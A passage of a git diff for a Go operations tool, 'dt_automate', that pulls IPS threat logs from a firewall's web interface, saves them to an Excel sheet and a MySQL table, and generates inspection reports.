Compare commits
No commits in common. "main" and "master" have entirely different histories.
23
.gitignore
vendored
@ -1,23 +0,0 @@
|
||||
# ---> Go
|
||||
# If you prefer the allow list template instead of the deny list, see community template:
|
||||
# https://github.com/github/gitignore/blob/main/community/Golang/Go.AllowList.gitignore
|
||||
#
|
||||
# Binaries for programs and plugins
|
||||
*.exe
|
||||
*.exe~
|
||||
*.dll
|
||||
*.so
|
||||
*.dylib
|
||||
|
||||
# Test binary, built with `go test -c`
|
||||
*.test
|
||||
|
||||
# Output of the go coverage tool, specifically when used with LiteIDE
|
||||
*.out
|
||||
|
||||
# Dependency directories (remove the comment below to include it)
|
||||
# vendor/
|
||||
|
||||
# Go workspace file
|
||||
go.work
|
||||
|
56
README.md
@ -1,2 +1,54 @@
|
||||
# dt_automate
|
||||
|
||||
# dt_automate
|
||||
|
||||
#### 介绍
|
||||
|
||||
**这是一个自动截图并生成巡检文档的程序
|
||||
|
||||
#### 软件架构
|
||||
|
||||
#### 安装教程
|
||||
|
||||
直接在windows系统里面的命令行模式下执行,程序是二进制文件不需要安装部署,直接允许就可以,需要几个关键的配置文件
|
||||
|
||||
#### 使用说明
|
||||
|
||||
Usage of C:\Temp\go-build2722998210\b001\exe\main.exe: `<br>`
|
||||
-v 查看授权状态 `<br>`
|
||||
-run 开始执行 `<br>`
|
||||
-info 没有授权请根据电脑序列号去和管理员申请KEY `<br>`
|
||||

|
||||
|
||||
```go
|
||||
//可执行程序位置
|
||||
// // 互联网区截图
|
||||
// method.HW_FAC1() //截取流量清洗的图片
|
||||
// method.HW_FW1() //截取防火墙的图片
|
||||
// method.HW_TSGZ() //截取态势感知的图片
|
||||
// method.HW_DTCLOUD() //截取运维中心的图片
|
||||
// method.HW_BAOLJ() //截取堡垒机的图片
|
||||
//政务网区截图
|
||||
// method.ZWW_FW1() //截取防火墙的图片
|
||||
// method.ZWW_TSGZ() //截取态势感知的图片
|
||||
// method.ZWW_DTCLOUD() //截取运维中心的图片
|
||||
// method.ZWWW_BAOLJ() //截取堡垒机的图片
|
||||
// 互联网区运维巡检文档生成
|
||||
// wps.HW_SYS_Word() //运维平台word文档生成
|
||||
//政务网区运维巡检文档生成
|
||||
// wps.ZWW_SYS_Word() //运维平台word文档生成
|
||||
//安全巡检文档生成
|
||||
// wps.SAFET_Word() //安全巡检文档生成
|
||||
//安全事件表格生成(需要先执行互联网区防火墙截图)
|
||||
// attackevent.Fw_event(attackevent.HW_fw1_cookie()) //将防火墙安全事件存放到xlsx文件中
|
||||
//nessus的csv文件生成docx报告(进行中)
|
||||
// wps.CSV_damo()
|
||||
//翻译模块调用腾讯xt翻译月500万字限制
|
||||
// log.Println(wps.Translate("hello"))
|
||||
//周报生成(画图表)进行中
|
||||
// wps.Weekly_word()
|
||||
//调用云平台接口
|
||||
// dtcloud.EcsList() //获取ecs列表及其详情(完成)
|
||||
// dtcloud.Process() //获取单ecs进程使用情况
|
||||
// dtcloud.Memory() //获取单个ecs的memory使用情况
|
||||
// dtcloud.Cpu() //获取单个ecs的cpu使用情况
|
||||
// dtcloud.TenantList() //获取租户列表(完成)
|
||||
```
|
||||
|
561
attackevent/fw_data.go
Normal file
@ -0,0 +1,561 @@
|
||||
package attackevent
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"database/sql"
|
||||
"dt_automate/conn"
|
||||
"dt_automate/dbpool"
|
||||
"dt_automate/tool"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"math"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"time"
|
||||
|
||||
"github.com/Esword618/unioffice/schema/soo/sml"
|
||||
"github.com/Esword618/unioffice/spreadsheet"
|
||||
)
|
||||
|
||||
// var cookieStr string
|
||||
|
||||
// var Counts int //存储总条数
|
||||
// var err error
|
||||
|
||||
// 互联网防火墙ips数据获取
|
||||
func Fw_event(cookieStr, timeStr string) {
|
||||
ss := spreadsheet.New()
|
||||
sheet := ss.AddSheet()
|
||||
// sheet.SetFrozen(true, false)
|
||||
v := sheet.InitialView()
|
||||
v.SetState(sml.ST_PaneStateFrozen)
|
||||
v.SetXSplit(0) //冻结列
|
||||
v.SetYSplit(1) //冻结行
|
||||
|
||||
// v.SetTopLeft("B2")
|
||||
// // 获取第一个工作表
|
||||
// sheet, err := ss.GetSheet("Sheet2")
|
||||
// if err != nil {
|
||||
// log.Println(err)
|
||||
// }
|
||||
sheet.Cell("A1").SetString("序号")
|
||||
sheet.Cell("B1").SetString("攻击时间")
|
||||
sheet.Cell("C1").SetString("源安全域")
|
||||
sheet.Cell("D1").SetString("目的安全域")
|
||||
sheet.Cell("E1").SetString("源IP")
|
||||
sheet.Cell("F1").SetString("目的IP")
|
||||
sheet.Cell("G1").SetString("目的端口")
|
||||
sheet.Cell("H1").SetString("威胁名称")
|
||||
sheet.Cell("I1").SetString("攻击类别")
|
||||
sheet.Cell("J1").SetString("攻击子类别")
|
||||
sheet.Cell("K1").SetString("应用协议")
|
||||
sheet.Cell("L1").SetString("CVE")
|
||||
sheet.Cell("M1").SetString("域名(host)")
|
||||
sheet.Cell("N1").SetString("请求路径")
|
||||
sheet.Cell("O1").SetString("参数")
|
||||
sheet.Cell("P1").SetString("源ip地区")
|
||||
log.Println("生成表格列名完成")
|
||||
//计算时间范围(2023-01-01-2023-01-05)示例
|
||||
//2023-01-01
|
||||
startTime, _ := time.Parse("2006-01-02", timeStr) //之前的时间
|
||||
endTime, _ := time.Parse("2006-01-02", time.Unix(tool.Timestamp("second"), 0).Format("2006-01-02")) //当前时间
|
||||
//获取当前事件
|
||||
|
||||
// 计算时间段分成一天一段
|
||||
for current := startTime; current.Before(endTime) || current.Equal(endTime); {
|
||||
// 当天的开始时间(00:00:00)
|
||||
|
||||
dayStart := time.Date(current.Year(), current.Month(), current.Day(), 0, 0, 0, 0, current.Location())
|
||||
// 当天的结束时间(23:59:59)
|
||||
dayEnd := dayStart.AddDate(0, 0, 1).Add(-1 * time.Nanosecond)
|
||||
|
||||
// 如果当前计算的结束时间超过endTime,则将endTime作为结束时间
|
||||
if dayEnd.After(endTime) {
|
||||
dayEnd = time.Date(endTime.Year(), endTime.Month(), endTime.Day(), 23, 59, 59, 999999999, endTime.Location())
|
||||
}
|
||||
|
||||
fmt.Printf("从 %s 到 %s\n", dayStart.Format("2006-01-02T15:04:05"), dayEnd.Format("2006-01-02T15:04:05"))
|
||||
|
||||
// 构建 x-www-form-urlencoded 格式的请求体
|
||||
values := url.Values{}
|
||||
values.Add("xml", "<rpc message-id='101' xmlns='urn:ietf:params:xml:ns:netconf:base:1.0' xmlns:web='urn:ietf:params:xml:ns:netconf:base:1.0'><get-bulk><filter type='subtree'><top xmlns='http://www.unis.cn/netconf/data:1.0' xmlns:web='http://www.unis.cn/netconf/base:1.0' xmlns:data='http://www.unis.cn/netconf/data:1.0'><NTOP><LogPaging><Log><LogType>1</LogType><UserID/><ID/><TimeFilter><StartTime>"+dayStart.Format("2006-01-02T15:04:05")+"</StartTime><EndTime>"+dayEnd.Format("2006-01-02T15:04:05")+"</EndTime></TimeFilter><PageNo>1</PageNo><CountPerPage>200</CountPerPage><TotalCounts/><InputJSON>{"SrcZoneName":"Untrust","DestZoneName":"Trust"}</InputJSON><OutputJSON/></Log></LogPaging></NTOP></top></filter></get-bulk></rpc>")
|
||||
values.Add("req_menu", "M_Monitor/M_AtkLog/M_ThreatLog")
|
||||
//请求头信息
|
||||
header := map[string]string{
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"referer": "https://11.2.68.146/wnm/frame/index.php",
|
||||
"cookie": cookieStr,
|
||||
}
|
||||
//查询数据//请求数据体
|
||||
security_event_data := conn.DT_POST("https://11.2.68.146/wnm/get.j", header, bytes.NewBufferString(values.Encode()))
|
||||
//获取页数
|
||||
count_pages, _ := strconv.Atoi(Date_v(security_event_data).NTOP.LogPaging[0].TotalCounts)
|
||||
if count_pages < 200 {
|
||||
for _, k := range Date_v(security_event_data).NTOP.LogPaging {
|
||||
// log.Println(len(sheet.Rows()))
|
||||
con := len(sheet.Rows()) + 1
|
||||
// IP := conn.DT_GET("http://ip-api.com/json/"+k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string)+"?lang=zh-CN", nil, nil)
|
||||
sheet.Cell("A" + strconv.Itoa(con)).SetString(strconv.Itoa(con - 1)) // 第一列 (A1)
|
||||
sheet.Cell("B" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["Time"].(string))
|
||||
sheet.Cell("C" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["SrcZoneName"].(string))
|
||||
sheet.Cell("D" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["DestZoneName"].(string))
|
||||
sheet.Cell("E" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string))
|
||||
sheet.Cell("F" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["DestIPAddr"].(string))
|
||||
sheet.Cell("G" + strconv.Itoa(con)).SetString(strconv.FormatFloat(k.OutputJSON.(map[string]interface{})["DestPort"].(float64), 'f', -1, 64))
|
||||
sheet.Cell("H" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["ThreatName"].(string))
|
||||
sheet.Cell("I" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["MethodNameCN"].(string))
|
||||
sheet.Cell("J" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["MethodSubNameCN"].(string))
|
||||
sheet.Cell("K" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["Application"].(string))
|
||||
sheet.Cell("L" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["CVE"].(string))
|
||||
sheet.Cell("M" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["HttpHost"].(string))
|
||||
sheet.Cell("N" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["HttpFirstLine"].(string))
|
||||
sheet.Cell("O" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["Payload"].(string))
|
||||
// sheet.Cell("P" + strconv.Itoa(Con)).SetString(Date_get(IP).(map[string]interface{})["country"].(string) + "." + Date_get(IP).(map[string]interface{})["city"].(string) + "/" + Date_get(IP).(map[string]interface{})["isp"].(string))
|
||||
log.Printf("开始插入%s数据:%d %s", dayStart.Format("2006-01-02T15:04:05"), con, k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string))
|
||||
//查询数据库中是否有重复数据
|
||||
//查询sql 获取用户信息
|
||||
rows, err := dbpool.QueryRows("SELECT `DT_TIME` FROM `dt_zgdz`.`dt_attack_event` WHERE DT_TIME = ?;", k.OutputJSON.(map[string]interface{})["Time"].(string))
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
defer rows.Close()
|
||||
var timeStr sql.NullString
|
||||
// var typecho_userss []string
|
||||
for rows.Next() {
|
||||
if err := rows.Scan(&timeStr); err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
// typecho_userss = append(typecho_userss, timeStr)
|
||||
}
|
||||
log.Println(timeStr)
|
||||
if err := rows.Err(); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
if k.OutputJSON.(map[string]interface{})["Time"].(string) != timeStr.String {
|
||||
//调用ExecteSQL函数执行插入语句
|
||||
result, err := dbpool.ExecuteSQL("INSERT INTO `dt_zgdz`.`dt_attack_event` (`DT_ID`, `DT_TIME`, `DT_SRCZONENAME`, `DT_DESTZONENAME`, `DT_SRCIPADDR`, `DT_DESTIPADDR`, `DT_DESTPORT`, `DT_THREATNAME`, `DT_METHODNAMECN`, `DT_METHODSUBNAMECN`, `DT_AOOLICATION`, `DT_CVE`, `DT_HTTPHOST`, `DT_HTTPFIRSTLINE`, `DT_PAYLOAD`) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?);", strconv.Itoa(con-1), k.OutputJSON.(map[string]interface{})["Time"].(string), k.OutputJSON.(map[string]interface{})["SrcZoneName"].(string), k.OutputJSON.(map[string]interface{})["DestZoneName"].(string), k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string), k.OutputJSON.(map[string]interface{})["DestIPAddr"].(string), strconv.FormatFloat(k.OutputJSON.(map[string]interface{})["DestPort"].(float64), 'f', -1, 64), k.OutputJSON.(map[string]interface{})["ThreatName"].(string), k.OutputJSON.(map[string]interface{})["MethodNameCN"].(string), k.OutputJSON.(map[string]interface{})["MethodSubNameCN"].(string), k.OutputJSON.(map[string]interface{})["Application"].(string), k.OutputJSON.(map[string]interface{})["CVE"].(string), k.OutputJSON.(map[string]interface{})["HttpHost"].(string), k.OutputJSON.(map[string]interface{})["HttpFirstLine"].(string), k.OutputJSON.(map[string]interface{})["Payload"].(string))
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
// 获取插入操作的最后插入ID和受影响的行数
|
||||
lastInsertId, err := result.LastInsertId()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
log.Printf("Last Insert ID: %d, Rows Affected: %d\n", lastInsertId, rowsAffected)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
//计算页数
|
||||
totalPages := int(math.Floor(float64(count_pages))/float64(200) + 1)
|
||||
for i := 0; i < totalPages; i++ {
|
||||
values := url.Values{}
|
||||
values.Add("xml", "<rpc message-id='101' xmlns='urn:ietf:params:xml:ns:netconf:base:1.0' xmlns:web='urn:ietf:params:xml:ns:netconf:base:1.0'><get-bulk><filter type='subtree'><top xmlns='http://www.unis.cn/netconf/data:1.0' xmlns:web='http://www.unis.cn/netconf/base:1.0' xmlns:data='http://www.unis.cn/netconf/data:1.0'><NTOP><LogPaging><Log><LogType>1</LogType><UserID/><ID/><TimeFilter><StartTime>"+dayStart.Format("2006-01-02T15:04:05")+"</StartTime><EndTime>"+dayEnd.Format("2006-01-02T15:04:05")+"</EndTime></TimeFilter><PageNo>"+strconv.Itoa(i+1)+"</PageNo><CountPerPage>200</CountPerPage><TotalCounts/><InputJSON>{"SrcZoneName":"Untrust","DestZoneName":"Trust"}</InputJSON><OutputJSON/></Log></LogPaging></NTOP></top></filter></get-bulk></rpc>")
|
||||
values.Add("req_menu", "M_Monitor/M_AtkLog/M_ThreatLog")
|
||||
//请求头信息
|
||||
header := map[string]string{
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"referer": "https://11.2.68.146/wnm/frame/index.php",
|
||||
"cookie": cookieStr,
|
||||
}
|
||||
//获取当天每页数据
|
||||
daydata := conn.DT_POST("https://11.2.68.146/wnm/get.j", header, bytes.NewBufferString(values.Encode()))
|
||||
for _, k := range Date_v(daydata).NTOP.LogPaging {
|
||||
// log.Println(len(sheet.Rows()))
|
||||
con := len(sheet.Rows()) + 1
|
||||
// IP := conn.DT_GET("http://ip-api.com/json/"+k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string)+"?lang=zh-CN", nil, nil)
|
||||
sheet.Cell("A" + strconv.Itoa(con)).SetString(strconv.Itoa(con - 1)) // 第一列 (A1)
|
||||
sheet.Cell("B" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["Time"].(string))
|
||||
sheet.Cell("C" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["SrcZoneName"].(string))
|
||||
sheet.Cell("D" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["DestZoneName"].(string))
|
||||
sheet.Cell("E" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string))
|
||||
sheet.Cell("F" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["DestIPAddr"].(string))
|
||||
sheet.Cell("G" + strconv.Itoa(con)).SetString(strconv.FormatFloat(k.OutputJSON.(map[string]interface{})["DestPort"].(float64), 'f', -1, 64))
|
||||
sheet.Cell("H" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["ThreatName"].(string))
|
||||
sheet.Cell("I" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["MethodNameCN"].(string))
|
||||
sheet.Cell("J" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["MethodSubNameCN"].(string))
|
||||
sheet.Cell("K" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["Application"].(string))
|
||||
sheet.Cell("L" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["CVE"].(string))
|
||||
sheet.Cell("M" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["HttpHost"].(string))
|
||||
sheet.Cell("N" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["HttpFirstLine"].(string))
|
||||
sheet.Cell("O" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["Payload"].(string))
|
||||
// sheet.Cell("P" + strconv.Itoa(Con)).SetString(Date_get(IP).(map[string]interface{})["country"].(string) + "." + Date_get(IP).(map[string]interface{})["city"].(string) + "/" + Date_get(IP).(map[string]interface{})["isp"].(string))
|
||||
log.Printf("开始插入%s数据:%d %s", dayStart.Format("2006-01-02T15:04:05"), con, k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string))
|
||||
// 调用ExecuteSQL函数执行插入操作
|
||||
//查询数据库中是否有重复数据
|
||||
//查询sql 获取用户信息
|
||||
rows, err := dbpool.QueryRows("SELECT `DT_TIME` FROM `dt_zgdz`.`dt_attack_event` WHERE DT_TIME = ?;", k.OutputJSON.(map[string]interface{})["Time"].(string))
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
defer rows.Close()
|
||||
var timeStr sql.NullString
|
||||
// var typecho_userss []string
|
||||
for rows.Next() {
|
||||
if err := rows.Scan(&timeStr); err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
// typecho_userss = append(typecho_userss, timeStr)
|
||||
}
|
||||
if err := rows.Err(); err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
if k.OutputJSON.(map[string]interface{})["Time"].(string) != timeStr.String {
|
||||
//调用ExecteSQL函数执行插入语句
|
||||
result, err := dbpool.ExecuteSQL("INSERT INTO `dt_zgdz`.`dt_attack_event` (`DT_ID`, `DT_TIME`, `DT_SRCZONENAME`, `DT_DESTZONENAME`, `DT_SRCIPADDR`, `DT_DESTIPADDR`, `DT_DESTPORT`, `DT_THREATNAME`, `DT_METHODNAMECN`, `DT_METHODSUBNAMECN`, `DT_AOOLICATION`, `DT_CVE`, `DT_HTTPHOST`, `DT_HTTPFIRSTLINE`, `DT_PAYLOAD`) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?);", strconv.Itoa(con-1), k.OutputJSON.(map[string]interface{})["Time"].(string), k.OutputJSON.(map[string]interface{})["SrcZoneName"].(string), k.OutputJSON.(map[string]interface{})["DestZoneName"].(string), k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string), k.OutputJSON.(map[string]interface{})["DestIPAddr"].(string), strconv.FormatFloat(k.OutputJSON.(map[string]interface{})["DestPort"].(float64), 'f', -1, 64), k.OutputJSON.(map[string]interface{})["ThreatName"].(string), k.OutputJSON.(map[string]interface{})["MethodNameCN"].(string), k.OutputJSON.(map[string]interface{})["MethodSubNameCN"].(string), k.OutputJSON.(map[string]interface{})["Application"].(string), k.OutputJSON.(map[string]interface{})["CVE"].(string), k.OutputJSON.(map[string]interface{})["HttpHost"].(string), k.OutputJSON.(map[string]interface{})["HttpFirstLine"].(string), k.OutputJSON.(map[string]interface{})["Payload"].(string))
|
||||
if err != nil {
|
||||
log.Println(err)
|
||||
}
|
||||
// 获取插入操作的最后插入ID和受影响的行数
|
||||
lastInsertId, err := result.LastInsertId()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
log.Printf("Last Insert ID: %d, Rows Affected: %d\n", lastInsertId, rowsAffected)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
// 移动到下一天
|
||||
current = current.AddDate(0, 0, 1)
|
||||
}
|
||||
// 保存修改后的 Excel 文件
|
||||
if err := ss.Validate(); err != nil {
|
||||
log.Fatalf("验证文件时出错: %s", err)
|
||||
}
|
||||
log.Println("表格生成完成,保存文件:" + "互联网防火墙安全事件" + time.Unix(tool.Timestamp("second"), 0).Format("20060102") + ".xlsx")
|
||||
if err := ss.SaveToFile("互联网防火墙安全事件" + time.Unix(tool.Timestamp("second"), 0).Format("20060102") + ".xlsx"); err != nil {
|
||||
log.Fatalf("保存文件时出错: %s", err)
|
||||
}
|
||||
}
|
||||
|
||||
// 政务网防火墙ips数据获取
|
||||
func Zww_event(cookieStr, timeStr string) {
|
||||
ss := spreadsheet.New()
|
||||
sheet := ss.AddSheet()
|
||||
// sheet.SetFrozen(true, false)
|
||||
v := sheet.InitialView()
|
||||
v.SetState(sml.ST_PaneStateFrozen)
|
||||
v.SetXSplit(0) //冻结列
|
||||
v.SetYSplit(1) //冻结行
|
||||
sheet.Cell("A1").SetString("序号")
|
||||
sheet.Cell("B1").SetString("攻击时间")
|
||||
sheet.Cell("C1").SetString("源安全域")
|
||||
sheet.Cell("D1").SetString("目的安全域")
|
||||
sheet.Cell("E1").SetString("源IP")
|
||||
sheet.Cell("F1").SetString("目的IP")
|
||||
sheet.Cell("G1").SetString("目的端口")
|
||||
sheet.Cell("H1").SetString("威胁名称")
|
||||
sheet.Cell("I1").SetString("攻击类别")
|
||||
sheet.Cell("J1").SetString("攻击子类别")
|
||||
sheet.Cell("K1").SetString("应用协议")
|
||||
sheet.Cell("L1").SetString("CVE")
|
||||
sheet.Cell("M1").SetString("域名(host)")
|
||||
sheet.Cell("N1").SetString("请求路径")
|
||||
sheet.Cell("O1").SetString("参数")
|
||||
sheet.Cell("P1").SetString("源ip地区")
|
||||
log.Println("生成表格列名完成")
|
||||
//计算时间范围(2023-01-01-2023-01-05)示例
|
||||
//2023-01-01
|
||||
startTime, _ := time.Parse("2006-01-02", timeStr) //之前的时间
|
||||
endTime, _ := time.Parse("2006-01-02", time.Unix(tool.Timestamp("second"), 0).Format("2006-01-02")) //当前时间
|
||||
//获取当前事件
|
||||
|
||||
// 计算时间段分成一天一段
|
||||
for current := startTime; current.Before(endTime) || current.Equal(endTime); {
|
||||
// 当天的开始时间(00:00:00)
|
||||
|
||||
dayStart := time.Date(current.Year(), current.Month(), current.Day(), 0, 0, 0, 0, current.Location())
|
||||
// 当天的结束时间(23:59:59)
|
||||
dayEnd := dayStart.AddDate(0, 0, 1).Add(-1 * time.Nanosecond)
|
||||
|
||||
// 如果当前计算的结束时间超过endTime,则将endTime作为结束时间
|
||||
if dayEnd.After(endTime) {
|
||||
dayEnd = time.Date(endTime.Year(), endTime.Month(), endTime.Day(), 23, 59, 59, 999999999, endTime.Location())
|
||||
}
|
||||
|
||||
fmt.Printf("从 %s 到 %s\n", dayStart.Format("2006-01-02T15:04:05"), dayEnd.Format("2006-01-02T15:04:05"))
|
||||
|
||||
// 构建 x-www-form-urlencoded 格式的请求体
|
||||
values := url.Values{}
|
||||
values.Add("xml", "<rpc message-id='101' xmlns='urn:ietf:params:xml:ns:netconf:base:1.0' xmlns:web='urn:ietf:params:xml:ns:netconf:base:1.0'><get-bulk><filter type='subtree'><top xmlns='http://www.unis.cn/netconf/data:1.0' xmlns:web='http://www.unis.cn/netconf/base:1.0' xmlns:data='http://www.unis.cn/netconf/data:1.0'><NTOP><LogPaging><Log><LogType>1</LogType><UserID/><ID/><TimeFilter><StartTime>"+dayStart.Format("2006-01-02T15:04:05")+"</StartTime><EndTime>"+dayEnd.Format("2006-01-02T15:04:05")+"</EndTime></TimeFilter><PageNo>1</PageNo><CountPerPage>200</CountPerPage><TotalCounts/><InputJSON>{"SrcZoneName":"yunwei","DestZoneName":"Trust"}</InputJSON><OutputJSON/></Log></LogPaging></NTOP></top></filter></get-bulk></rpc>")
|
||||
values.Add("req_menu", "M_Monitor/M_AtkLog/M_ThreatLog")
|
||||
//请求头信息
|
||||
header := map[string]string{
|
||||
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
||||
"referer": "https://11.1.68.146/wnm/frame/index.php",
|
||||
"cookie": cookieStr,
|
||||
}
|
||||
//查询数据//请求数据体
|
||||
security_event_data := conn.DT_POST("https://11.1.68.146/wnm/get.j", header, bytes.NewBufferString(values.Encode()))
|
||||
if Date_v(security_event_data).NTOP.LogPaging != nil {
|
||||
//获取页数
|
||||
count_pages, _ := strconv.Atoi(Date_v(security_event_data).NTOP.LogPaging[0].TotalCounts)
|
||||
if count_pages < 200 {
|
||||
for _, k := range Date_v(security_event_data).NTOP.LogPaging {
|
||||
// log.Println(len(sheet.Rows()))
|
||||
con := len(sheet.Rows()) + 1
|
||||
// IP := conn.DT_GET("http://ip-api.com/json/"+k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string)+"?lang=zh-CN", nil, nil)
|
||||
sheet.Cell("A" + strconv.Itoa(con)).SetString(strconv.Itoa(con - 1)) // 第一列 (A1)
|
||||
sheet.Cell("B" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["Time"].(string))
|
||||
sheet.Cell("C" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["SrcZoneName"].(string))
|
||||
sheet.Cell("D" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["DestZoneName"].(string))
|
||||
sheet.Cell("E" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string))
|
||||
sheet.Cell("F" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["DestIPAddr"].(string))
|
||||
sheet.Cell("G" + strconv.Itoa(con)).SetString(strconv.FormatFloat(k.OutputJSON.(map[string]interface{})["DestPort"].(float64), 'f', -1, 64))
|
||||
sheet.Cell("H" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["ThreatName"].(string))
|
||||
sheet.Cell("I" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["MethodNameCN"].(string))
|
||||
sheet.Cell("J" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["MethodSubNameCN"].(string))
|
||||
sheet.Cell("K" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["Application"].(string))
|
||||
sheet.Cell("L" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["CVE"].(string))
|
||||
sheet.Cell("M" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["HttpHost"].(string))
|
||||
sheet.Cell("N" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["HttpFirstLine"].(string))
|
||||
sheet.Cell("O" + strconv.Itoa(con)).SetString(k.OutputJSON.(map[string]interface{})["Payload"].(string))
|
||||
// sheet.Cell("P" + strconv.Itoa(Con)).SetString(Date_get(IP).(map[string]interface{})["country"].(string) + "." + Date_get(IP).(map[string]interface{})["city"].(string) + "/" + Date_get(IP).(map[string]interface{})["isp"].(string))
|
||||
log.Printf("开始插入%s数据:%d %s", dayStart.Format("2006-01-02T15:04:05"), con, k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string))
|
||||
//查询数据库中是否有重复数据
|
||||
//查询sql 获取用户信息
|
||||
// rows, err := dbpool.QueryRows("SELECT `DT_TIME` FROM `dt_zgdz`.`dt_attack_event` WHERE DT_TIME = ?;", k.OutputJSON.(map[string]interface{})["Time"].(string))
|
||||
// if err != nil {
|
||||
// log.Println(err)
|
||||
// }
|
||||
// defer rows.Close()
|
||||
// var timeStr sql.NullString
|
||||
// // var typecho_userss []string
|
||||
// for rows.Next() {
|
||||
// if err := rows.Scan(&timeStr); err != nil {
|
||||
// log.Println(err)
|
||||
// }
|
||||
// // typecho_userss = append(typecho_userss, timeStr)
|
||||
// }
|
||||
// log.Println(timeStr)
|
||||
// if err := rows.Err(); err != nil {
|
||||
// log.Fatal(err)
|
||||
// }
|
||||
// if k.OutputJSON.(map[string]interface{})["Time"].(string) != timeStr.String {
|
||||
// //调用ExecteSQL函数执行插入语句
|
||||
// result, err := dbpool.ExecuteSQL("INSERT INTO `dt_zgdz`.`dt_attack_event` (`DT_ID`, `DT_TIME`, `DT_SRCZONENAME`, `DT_DESTZONENAME`, `DT_SRCIPADDR`, `DT_DESTIPADDR`, `DT_DESTPORT`, `DT_THREATNAME`, `DT_METHODNAMECN`, `DT_METHODSUBNAMECN`, `DT_AOOLICATION`, `DT_CVE`, `DT_HTTPHOST`, `DT_HTTPFIRSTLINE`, `DT_PAYLOAD`) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?);", strconv.Itoa(con-1), k.OutputJSON.(map[string]interface{})["Time"].(string), k.OutputJSON.(map[string]interface{})["SrcZoneName"].(string), k.OutputJSON.(map[string]interface{})["DestZoneName"].(string), k.OutputJSON.(map[string]interface{})["SrcIPAddr"].(string), k.OutputJSON.(map[string]interface{})["DestIPAddr"].(string), strconv.FormatFloat(k.OutputJSON.(map[string]interface{})["DestPort"].(float64), 'f', -1, 64), k.OutputJSON.(map[string]interface{})["ThreatName"].(string), k.OutputJSON.(map[string]interface{})["MethodNameCN"].(string), k.OutputJSON.(map[string]interface{})["MethodSubNameCN"].(string), k.OutputJSON.(map[string]interface{})["Application"].(string), k.OutputJSON.(map[string]interface{})["CVE"].(string), k.OutputJSON.(map[string]interface{})["HttpHost"].(string), 